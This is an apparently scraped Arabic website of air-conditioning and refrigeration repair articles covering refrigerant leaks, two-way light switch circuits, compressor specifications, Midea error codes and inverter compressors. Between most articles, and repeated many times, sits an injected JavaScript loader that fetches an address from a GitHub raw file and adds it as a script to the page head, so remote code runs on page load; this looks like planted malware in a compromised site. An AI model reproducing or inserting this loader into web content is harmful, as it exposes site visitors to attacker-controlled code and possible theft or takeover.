علامات نقص الفريون في جهاز التكييف وطريقة حلها

بحث عن الامور الغامضة لاطرحها بطريقة جميلة وسهلة الفهم للجميع ، لهذا فنحن نعمل بكل جهدنا للقيام بتوفير كل المعلومات المهمة والمفيدة حول ما يريده العميل، وكما ذكرنا مسبقًا، فكل ما على العميل أو الزائر فعله للحصول على المعلومات مراسلتنا وسوف يتم الرد عليها بأسرع وقت ، 



علامات نقص الفريون في جهاز التكييف وطريقة حلها، ما هي المؤشرات المهمة التي تدل على وجود نقص في الفريون الموجود داخل دورة التكييف، تابعوا معنا لمعرفة تفاصيل عطل نقص الفريون وطريقة حلها.

 أسباب حدوث نقص الفريون

نعلم جمعينا أن نقص الفريون ناتج عن وجود تسرب في أنابيب دارة التبريد بالمكيف، وباحتمال كبير يكون التسرب في نقاط التوصيل بخط الطرد أو السحب أو الأطراف الداخلية للمبخر، وأي مكان تم لحامه.

وهناك أعراض تدل على وجود نقص بالفريون بوجود ثلج على خط السحب، ولكنها ليست كذلك بل ممكن أن تكون المشكلة في عدم تنظيف الوحدة الداخلية كالفلاتر وزعانف المبخر مثلاً، أو عطل في المروحة الداخلية.. إلخ.

لكي تتأكد من وجود نقص الفريون، نستخدم ساعة قياس الضغط المنخفض، وجهاز فحص الأمبير (الكلامب ميتر)، وإذا ظهرت قراءة ساعة الضغط قيمة أقل من الضغط المطلوب مع انخفاض الأمبير عن قيمة الأمبير الطبيعي بفارق واضح، وملاحظة وجود جليد متراكم على خط الطرد، دل ذلك على وجود نقص في الفريون بجهاز التكييف.

من أهم العلامات التي تدل على وجود تسرب في جهاز التكييف:

تكون ثلج على خط الطرد الرفيع.

انخفاض كفاءة التبريد.

المكيف يعمل بشكل مستمر دون توقف.

نقص ضغط الفريون عن الحد المسموح به عند 

قياسه بساعة الضغط المنخفض.

انخفاض الأمبير.

صوت فقاعات أو هسهسة.

تكون جليد على ملف المبخر.

حل مشكلة نقص الفريون

لحل مشكلة نقص الفريون لا بد من أسباب نقص الفريون بتحديد مكان التسرب، وبعد تحديد مكان التسرب يتم لحامه إذا كان المكان ملحوم، أو الربط جيداً إذا كان مكان التسرب في مناطق الربط كخط الطرد والسحب بالوحدة الخارجية أو الداخلية، كل ذلك بعد تفريغ الفريون من دارة التبريد.

بعد تفريغ الفريون وحل مشكلة التسرب، تأتي مرحلة الفاكيوم لتفريغ الدارة من الهواء والرطوبة، ثم يعاد شحن وحدة التكييف مرة أخرى حسب ضغط الفريون الموصى به (فريون R22 ما بين 60 حتى 70 PSI)، (فريون R410 ما بين 120 حتى 140 PSI).

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




سعة المكثف لكل حصان

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




تعريف الدارة ذهاب-إياب

تعريف الدارة ذهاب-إياب

تعتبر الدارة الكهربائية ذهاب إياب أو الاشعال ذهاب إياب ( allumage va et vient ) من التركيبات الكهربائية المهمة في الكهرباء المنزلية ، حيث تسمح هذه الدارة بإشعال وإطفاء مصباح أو مجموعة مصابيح من نقطتين مختلفتين ،تقع كل واحدة منهما في مكان بعيد نسبيا عن الأخرى ،مثلا في السلالم أو الممرات ذات مدخلين 

الدارة ذهاب-إياب هي نوع من الدوائر الكهربائية التي تسمح بالتحكم في تشغيل وإطفاء مصباح أو مجموعة من المصابيح من موقعين مختلفين باستخدام قاطعتين كهربائيتين. تُستخدم هذه الدائرة بشكل شائع في الأماكن مثل الممرات والسلالم والغرف الكبيرة، حيث يمكن أن يكون هناك حاجة للتحكم في الإضاءة من نقاط مختلفة.

مكونات الدارة

تتكون الدارة ذهاب-إياب من العناصر التالية:

  • مفتاحان كهربائيان (ذهاب-إياب) للتحكم في الإضاءة.
  • مصباح كهربائي أو مجموعة من المصابيح.
  • أسلا توصيل: تشمل سلك الطور، سلك المحايد، وسلكي العودة بين المفتاحين.

كيفية عمل الدارة

تعمل الدارة على مبدأ تغيير حالة المصباح حسب وضعية المفاتيح. يمكن أن يكون كل مفتاح في حالتين (مفتوح أو مغلق)، مما ينتج عنه أربع حالات متملة تؤثر على إضاءة المصباح. يتم تمثيل ذلك في جدول الحقيقة الذي يوضح الحالات المختلفة للمصباح بناءً على وضعية المفاتيح.

جدول الحقيقة للدارة ذهاب-إياب

مفتاح K1 مفتاح K2 حالة المصباح
0 0 1 (متوهج)
0 1 0 (منطفئ)
1 0 0 (منطفئ)
1 1 1 (متوهج)

تطبيقات الدارة

تُستخدم دارة ذهاب-إياب بشكل رئيسي في:

  • السلالم: لتسهيل التحكم في الإضاءة عند الصعود والنزول.
  • الممرات: حيث يمكن التحكم في الإضاءة من كلا الطرفين.
  • الغرف الكبيرة: لتمكين التحكم في الإضاءة من مواقع متعددة.

أنواع الدارات ذهاب-إياب

هناك عدة أنواع من دارات ذهاب-إياب، بما في ذلك:

  1. دارة بسيطة: تستخدم مفتاحين فقط.
  2. دارة مع ثلاثة مفاتيح: تسمح بالتحكم من ثلاثة مواقع مختلفة.
  3. دارة مع أربعة مفاتيح: للتحكم من أربعة مواقع.

كل نوع له مزايا وعيوب، ويختار بناءً على احتياجات التركيب الكهربائي

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




D110C21RAZ5

Mbsm.pro, Compressor, D110C21RAZ5, 1/3 hp, 298 w, 11 cc, 256 kcal, 1017 btu, lbp, r134a, 1ph/220/50hz

 ضاغط D110C21RAZ5 مقدمة في جدول:

المواصفة التفاصيل
الموديل D110C21RAZ5
الطاقة 1/3 حصان (298 واط)
السعة 11 سم³
سعة التبريد 256 كيلو كالوري/ساعة (1017 BTU/ساعة)
نوع المبرد R134a
نوع المحرك RSCR / RSIR
الجهد والتردد 220 فولت / 50 هرتز
التطبيق ضغط منخفض (LBP)

يوفر هذا الجدول ملخصًا لمواصفات وميزات ضاغط D110C21RAZ5، مما يسهل الرجوع إليه في تطبيقات التبريد المختلفة.

D110C21RAZ5 تحميل

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




أعطال مكيفات ميديا إنفرتر وكيفية التعامل معها

أكواد أعطال مكيفات ميديا إنفرتر وشرحها

تحتوي مكيفات ميديا إنفرتر على نظام تشخيص ذاتي يكتشف الأعطال ويعرضها على الشاشة الداخلية على شكل أكواد. هذه الأكواد تساعد في تحديد المشكلة بدقة وتسريع عملية الصيانة.

لماذا تظهر أكواد الأعطال؟ تظهر أكواد الأعطال عادة عندما يحدث عطل في أحد مكونات المكيف، مثل:

  • مشكلة في الضاغط: قد يكون هناك عطل في محرك الضاغط أو في دارة التحكم فيه.
  • مشكلة في حساسات درجة الحرارة: قد يكون هناك عطل في الحساس المسؤولة عن قياس درجة حرارة الغرفة أو المبخر.
  • مشكلة في لوحة التحكم: قد يكون هناك عطل في اللوحة الإلكترونية التي تتحكم في عمل المكيف.
  • مشكلة في دائرة التبريد: قد يكون هناك تسريب في نظام التبريد أو انسداد في الأنابيب.

أهمية معرفة أكواد الأعطال:

  • تحديد المشكلة بدقة: تساعد أكواد الأعطال في تحديد الجزء المعطل بدقة، مما يوفر الوقت والجهد في عملية الصيانة.
  • تجنب تفاقم المشكلة: يمكن أن يؤدي تجاهل الأعطال إلى تفاقم المشكلة وتسبب أضار بر للمكيف.
  • توفير التكاليف: يمكن إصلاح العطل بنفسك في بعض الحالات البسيطة، مما يوفر تكاليف الصيانة.

أين جد أكواد الأعطال؟ تظهر أكواد الأعطال عادة على شاشة الوحدة الداخلية للمكيف. قد تختلف طريقة عرض الكود من طراز لآخر، ولكن بشكل عام تكون عبارة عن مجموعة من الأرقام أو الأحرف.

كيفية التعامل مع أكواد الأعطال:

  • الرجوع إلى دليل المستخدم: يحتوي دليل المستخدم على شرح مفصل لأكواد الأعطال وكيفية التعامل معها.
  • الاتصال بمركز الصيانة: إذا لم تتمكن من حل المشكلة بنفسك، فاتصل بمركز صيانة ميديا المعتمد.
  • البحث على الإنترنت: يمكنك البحث عن الكود على الإنترنت للحصول على المزيد من المعلومات.

ملاحظة: يجب توخي الحذر عند محاولة إصلاح المكيف بنفسك، فبعض الأعطال تتطلب خبرة فنية متخصصة.

أمثلة على بعض أكواد الأعطال الشائعة في مكيفات ميديا:

  • EC: يشير إلى وجود تسريب في نظام التبريد أو مشكلة في الضاغط.
  • P2: يدل على وجود مشكلة في الضاغط.
  • P1: يشير إلى عدم استقرار التيار الكهربائي.
  • P0: يدل على وجود عطل في اللوحة الإلكترونية.
  • F5: يشير إلى وجود عطل في موتور الوحدة الخارجية.

للحصول على معلومات أكثر دقة حول أكواد الأعطال الخاصة بمكيفك، يرجى الرجوع إلى دليل المستخدم أو الاتصال بمركز صيانة ميديا.

موارد مفيدة:

  • موقع ميديا: يمكنك العثور على معلومات حول المنتجات وخدمات الصيانة على الموقع الرسمي لشركة ميديا.
  • يوتيوب: هناك العديد من الفيديوهات التي تشرح أكواد أعطال مكيفات ميديا وكيفية حلها.

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




الفرق بين كباس Lbp وكباس Hbp وكباس MHbp وماهي إستعمالاتهم حسب الأحجام وأنواع الغاز

شرح مفصل للفرق بين ضواغط LBP و HBP و MBP مع جدول توضيحي

أهلاً بك! سأشرح لك ببساطة ووضوح الفرق بين أنواع الضواغط الثلاثة الرئيسية المستخدمة في أنظمة التبريد والتكييف، وهي LBP و HBP و MBP، مع جدول يوضح استخداماتها بشكل مبسط.

ما هي ضواغط LBP, HBP, MBP؟

تعتمد هذه التصنيفات على ضغط السحب (الباك برسشر) في النظام، والذي يرتبط بدوره بدرجة حرارة التبخر. بمعنى آخر، كل نوع من هذه الضواغط مصمم للعمل في ظروف ضغط معينة تتناسب مع نوع التطبيق.

  • LBP (Low Back Pressure):

    • ضغط سحب منخفض.
    • تستخدم في الأنظمة ذات درجة حرارة تبخر منخفضة.
    • أمثلة على الاستخدامات: المجمدات، الثلاجات، حافظات الطعام.
  • MBP (Medium Back Pressure):

    • ضغط سحب متوسط.
    • تستخدم في الأنظمة ذات درجة حرارة تبخر متوسطة.
    • أمثلة على الاستخدامات: عارضات المشروبات، بعض أنواع الثلاجات التجارية.
  • HBP (High Back Pressure):

    • ضغط سحب مرتفع.
    • تستخدم في الأنظمة ذات درجة حرارة تبخر مرتفعة.
    • أمثلة على الاستخدامات: المبردات، مزيلات الرطوبة، مجففات الهواء.

جدول مقارن بين أنواع الضواغط واستخداماتها

نوع الضاغط ضغط السحب درجة حرارة التبخر الاستخدامات النموذجية
LBP منخفض منخفضة مجمدات، ثلاجات، حافظات طعام
MBP متوسط متوسطة عارضات مشروبات، ثلاجات تجارية
HBP مرتفع مرتفعة مبردات، مزيلات الرطوبة، مجففات الهواء

العوامل المؤثرة على اختيار نوع الضاغط

عند اختيار نوع الضاغط المناسب، يجب مراعاة عدة عوامل:

  • نوع المبرد: لكل مبرد ضغوط تشغيل محددة.
  • درجة حرارة البيئة: تؤثر على ضغط التبخر.
  • سعة النظام: تحدد حجم الضاغط المطلوب.
  • نوع التطبيق: يحدد نطاق درجة الحرارة المطلوبة.

ملحوظات هامة

  • التصنيف ليس مطلقًا: قد تختلف هذه التصنيفات قليلاً بين الشركات المصنعة للضواغط.
  • الضواغط المركبة: قد تجد ضواغط تجمع بين خصائص نوعين مثل L/MBP.
  • أهمية اختيار الضاغط المناسب: اختيار الضاغط المناسب يضمن كفاءة النظام وطول عمره.

لماذا هذا التصنيف مهم؟

فهم هذا التصنيف يساعدك على:

  • اختيار الضاغط المناسب لأي تطبيق تبريد أو تكييف.
  • تشخيص أعطال الأنظمة بشكل أسرع.
  • تحسين كفاءة الطاقة في الأنظمة.

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




اسباب تراكم الثلج فى الثلاجة والديب فريزر الديفروست

أسباب تراكم الثلج فى الثلاجة والديب فريزر الديفروست

لو الباب غير محكم الغلق هيسبب تكوين الثلج وده بيكون عيب مفصلات او كوتس الباب

او الثرموستات تالف لا يفصل وتحتاج تغير الثرموستات لفصل الموتور واذابه الثلج كل فترة

او رطوبه عاليه بالمكان المحيط وعدم التهوية

شوف اى السبب من الثلاث اسباب عندك وحل المشكله

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




مكثف التشغيل للمكيف

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




علامات قد تظهر على المكيف الخاص بك يجب ان تعلم سببها وما يجب فعله بعد ظهورها

 

 علامات قد تظهر على المكيف الخاص بك يجب ان تعلم سببها وما يجب فعله بعد ظهورها 
 الصورة رقم 01 : ظهور جليد على الانبوب النحاسي الصغير وهذا راجع الى نقص في الغاز لوجود تسرب وفي هاته الحالة يجب الاتصال بمختص لكشف مكان التسريب أولا وهذا الأهم تم زيادة الغاز وليس زيادة الغاز مباشرة .
 الصورة رقم 02 : ظهور جليد على الانبوب النحاسي الكبير وفي هاته الحالة يجيب تنظيف الوحدة الداخلية و الخارجية بما في ذلك فلاتر الهواء في الوحدة الداخلية او هناك تلف في الانبوب النحاسي الكبير .
 الصورة رقم 03 : ظهور جليد على كلا الانبوبين وهذا يدل على نقص فادح في الغاز وهنا يجب عدم تشغيل المكيف و الاتصال بمختص لان تشغليه قد يؤدي الى اتلاف المحرك .
 الصورة رقم 04 : ظهور قطرات مائية على الانبوب النحاسي الكبير وهذا يدل على نظافة المكيف وانه شغل بكفاءة عالية ودورة التبريد ممتازة .

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




مكثفات التشغيل في المكيفات

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




تحميل اكواد اعطال تكييفات ال جي

[pdf-embedder url=”https://www.mbsmgroup.tn/wp-content/uploads/2023/10/Mbsmgroup_Tunisie_Private_Pictures_erreur-lg.pdf” title=”Mbsmgroup_Tunisie_Private_Pictures_erreur lg”]

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




بعض الاعطال اللى ممكن تقابلك خاصة بأجهزة يونيون اير

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




البلف العاكس

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




ما هو الانفرتر inventer الذى يركب على الضاغط .؟

ما هو الانفرتر inventer الذى يركب على الضاغط .؟
الاجابة
للتحكم بسرعه الكباس يتم عن طريق تغيير الفولت من AC الى D.C وتغيير الذبذبه فيتغير سرعه الكباس فيتحكم بدرجه التبريد
اولا : تكنولوجيا الانفرتر ليست بجديده ولكنها متواجده منذ سنوات عديده وهذه التكنولوجيا تقوم بتوفير حوالى 30 % من طاقه التكييف الضائعه وهذه التكنولوجيا محتاجه الى مهندس او فنى يكون على قدر كاف من العلم لكى يستوعبها لانها تحتاج الى قدر كبير من فهم الاليكترونيات بصفه خاصه وساحاول ان اشرحها بطريقه مبسطه وعليك التكمل :
الهدف الاساسى من هذه التكنولوجيا هو التحكم فى سرعه الكباس ( compressor ) والكباس المسنخدم فى هذه النوعيه من اجهزه التكييف من الممكن ان يكون من النوع الذى يعمل على التيار المستمر dc volt ومن الممكن ان يكون من النوع 3 phase وللتحكم فى سرعه الكباس اى المحرك المستخدم فى الكباس فاننا
اولا نقوم بتعديل الفولت الداخل الى وحده التكثيف من فولت متردد الى فولت مستمر وتم هذه العمله داخل بورده وحده التكثيف فى جزء يسمى converter اى محول التيار المتردد الى مستمر ثم بعد ذلك ندخل مرحله inverter اى تحويل التيار المستمر الى تيار متردد يتم التحكم فيه عن طريق الذبذبه ( frequency ) المعطاه له والتى تتحكم فى سرعه المحرك وتسمى هذه العمليه
( pulse width modulation )
معظم الاجهزه التى تعمل بالانفرتر يركب بها صمام تمدد يغلق ويفتح بخطوات وياخذ اشارته من البورده عن طريق اشاره قادمه وراجعه للفان كويل
( input – out put signal )
هذه الاجهزه معظمها يستخدم فريون 410 A وضغط السحب يتراوح ما بين 110 – 130 psi ويجب الرجوع لخريطه هذا الفريون لان ضغط السحب يعتمد على درجه حراره المبخر وضغط الطرد لهذا النوع من الاجهزه يتراوح مابين 425 الى 450 psi .
الاجهزه التى تعمل على 220 فولت ستجد الاسلاك الواصله مابين الوحده الداخليه والوحده الخارجيه هم 3 اسلاك اثنين لاسلاك ال power وسلك واحد يسمى ال ** signal
وهو المسئول عن ارسال الاشاره من الوحده الداخليه الى الوحده الخارجيه وعكسها من الوحده الخارجيه الى الوحده الداخليه .
معظم هذه الاجهزه ستجد ان مكثف وحده التكثيف كبير مقارنه بمكثف يعمل على فريون 22
•مكيف بتكنولوجيا Inverter يوفر الكهرباء لماذا؟
معظم الطاقة الكهربائية في المكيف يستهلكها الجزء الاساسي فيه وهو “الضاغط”.
في تكنولوجية التكييف العادي يكون للضاغط سرعة (قدرة) انتاج ثابته، أي انه يعمل ب 100% أو ب 0% (يتوقف عن العمل).
لذا حتى عندما يحتاج الضاغط للوصول الى قدرة انتاج لا تستوجب عمله بالسرعة القصوى سيعمل الضاغط بالسرعة القصوى وسيستهلك الحد الاقصى من الكهرباء.
أما ضاغط الInverter فيعمل بشكل آخر: أي انه يعمل بسرعات متغيرة تتراوح بين ال 0% وبين ال 100%… أضف الى ذلك وجود منظومة تحكم الكترونية لعمل الضاغط تقرر السرعة المطوبة للوصول لدرجة حرارة معينة، وتمكن من توفير جدي في الكهرباء يصل الى 30%.
هو جهاز متكامل ومخصص للتحكم بالمحركات التى تعمل على التيار المتناوب مهما انت قدرت المحرك حيث يوجد اجهزة انفرتر تبدأمن نصف حصان الى 120 حصان
